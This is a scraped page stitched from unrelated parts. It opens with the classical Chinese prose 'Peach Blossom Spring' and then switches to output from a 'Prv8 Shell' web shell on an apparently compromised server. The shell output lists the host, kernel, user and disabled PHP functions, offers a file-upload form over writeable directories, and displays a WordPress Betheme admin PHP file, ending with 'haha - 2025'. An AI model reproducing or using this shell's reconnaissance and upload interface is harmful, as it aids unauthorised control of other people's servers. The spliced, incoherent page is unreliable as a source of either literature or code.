晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/setupTZh/betheme/functions/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/setupTZh/betheme/functions/admin/class-mfn-plugins.php
<?php
if( ! defined( 'ABSPATH' ) ){
	exit; // Exit if accessed directly
}

class Mfn_Plugins extends Mfn_API {

	/**
	 * Mfn_Plugins constructor
	 */

  private $plugins = [
    'becustom' => [
      'desc' => 'Rebrand Be & WordPress admin and take your business to the next level. Be like PRO!',
      'dark' => true,
      'premium' => true,
    ],
    'revslider' => [
      'desc' => 'Slider Revolution - More than just a WordPress Slider.',
      'premium' => true,
    ],
    'LayerSlider' => [
      'desc' => 'LayerSlider is a premium multi-purpose content creation and animation platform.',
      'premium' => true,
    ],
    'contact-form-7' => [
      'desc' => 'Just another contact form plugin. Simple but flexible.',
    ],
    'duplicate-post' => [
      'desc' => 'The go-to tool for cloning posts and pages, including the powerful Rewrite & Republish feature.',
    ],
    'elementor' => [
      'desc' => 'The Elementor Website Builder has it all: drag and drop page builder, pixel perfect design, mobile responsive editing, and more.',
      'dark' => true,
    ],
    'leadin' => [
      'desc' => 'HubSpot’s official WordPress plugin allows you to add forms, popups, and live chat to your website and integrate with the best WordPress CRM.',
      'dark' => true,
    ],
    'woocommerce' => [
      'desc' => 'An eCommerce toolkit that helps you sell anything. Beautifully.',
      'dark' => true,
    ],
    'sample-reviews' => [
      'desc' => 'Don’t have time to manually input reviews? Generate a specified number of random reviews.',
      'dark' => true,
    ],
		'force-regenerate-thumbnails' => [
      'desc' => 'Delete and REALLY force the regenerate thumbnail.',
      'dark' => true,
    ],
		'js_composer' => [
      'desc' => 'Drag and drop page builder for WordPress.',
      'premium' => true,
    ],
  ];

	public function __construct(){

		parent::__construct();

		// It runs after the basic admin panel menu structure is in place.
		add_action( 'admin_menu', array( $this, 'init' ), 2 );

	}

	/**
	 * Add admin page & enqueue styles
	 */

	public function init(){

		$title = __( 'Plugins','mfn-opts' );

		$page = add_submenu_page(
			apply_filters('betheme_dynamic_slug', 'betheme'),
			$title,
			$title,
			'edit_theme_options',
			apply_filters('betheme_slug', 'be').'-plugins',
			array( $this, 'template' )
		);

		// Fires when styles are printed for a specific admin page based on $hook_suffix.
		add_action( 'admin_print_styles-'. $page, array( $this, 'enqueue' ) );
	}

	/**
	 * Template
	 */

	public function template(){

    $tgm_plugins = $GLOBALS['tgmpa']->plugins;
    $installed_plugins = get_plugins();

    if( ! is_array($tgm_plugins) ){
      return;
    }

    foreach( $tgm_plugins as $tgm_plugin ){

      $path = $tgm_plugin['file_path'];
      $slug = $tgm_plugin['slug'];

      $plugin = [
        'name' => str_replace('DEPRECATED', '', $tgm_plugin['name']),
        'slug' => $tgm_plugin['slug'],
        'version' => $tgm_plugin['version'],
        'action' => '',
      ];

			if( empty($plugin['version']) ){
				if ( ! empty( $installed_plugins[$path]['Version'] ) ) {
  				$plugin['version'] = $installed_plugins[$path]['Version'];
  			}
			}

      if( is_plugin_active( $path ) ){

        // active, check if update is available

        $version_available = $tgm_plugin['version'];

        $version_installed = '';
        if ( ! empty( $installed_plugins[$path]['Version'] ) ) {
  				$version_installed = $installed_plugins[$path]['Version'];
  			}

        if( version_compare( $version_available, $version_installed, '>' ) ){
          $plugin['action'] = 'update';
					$plugin['path'] = $path;
        }

			} elseif( array_key_exists( $path, $installed_plugins ) || in_array( $path, $installed_plugins, true ) ){

        // installed but NOT active

      	$plugin['action'] = 'activate';
				$plugin['path'] = $path;

			} else {

        // NOT installed

				$plugin['action'] = 'install';

			}

			if( is_array($this->plugins[$slug]) && is_array($plugin) ){
        $this->plugins[$slug] = array_merge( $this->plugins[$slug], $plugin );
      }
    }

    // print_r( $this->plugins );

		include_once get_theme_file_path('/functions/admin/templates/plugins.php');

	}

	/**
	 * Enqueue styles and scripts
	 */

	public function enqueue(){
		wp_enqueue_style( 'mfn-dashboard', get_theme_file_uri('/functions/admin/assets/dashboard.css'), array(), MFN_THEME_VERSION );
		wp_enqueue_script('mfn-dashboard', get_theme_file_uri('/functions/admin/assets/dashboard.js'), false, MFN_THEME_VERSION, true);
	}

}

$mfn_plugins = new Mfn_Plugins();

haha - 2025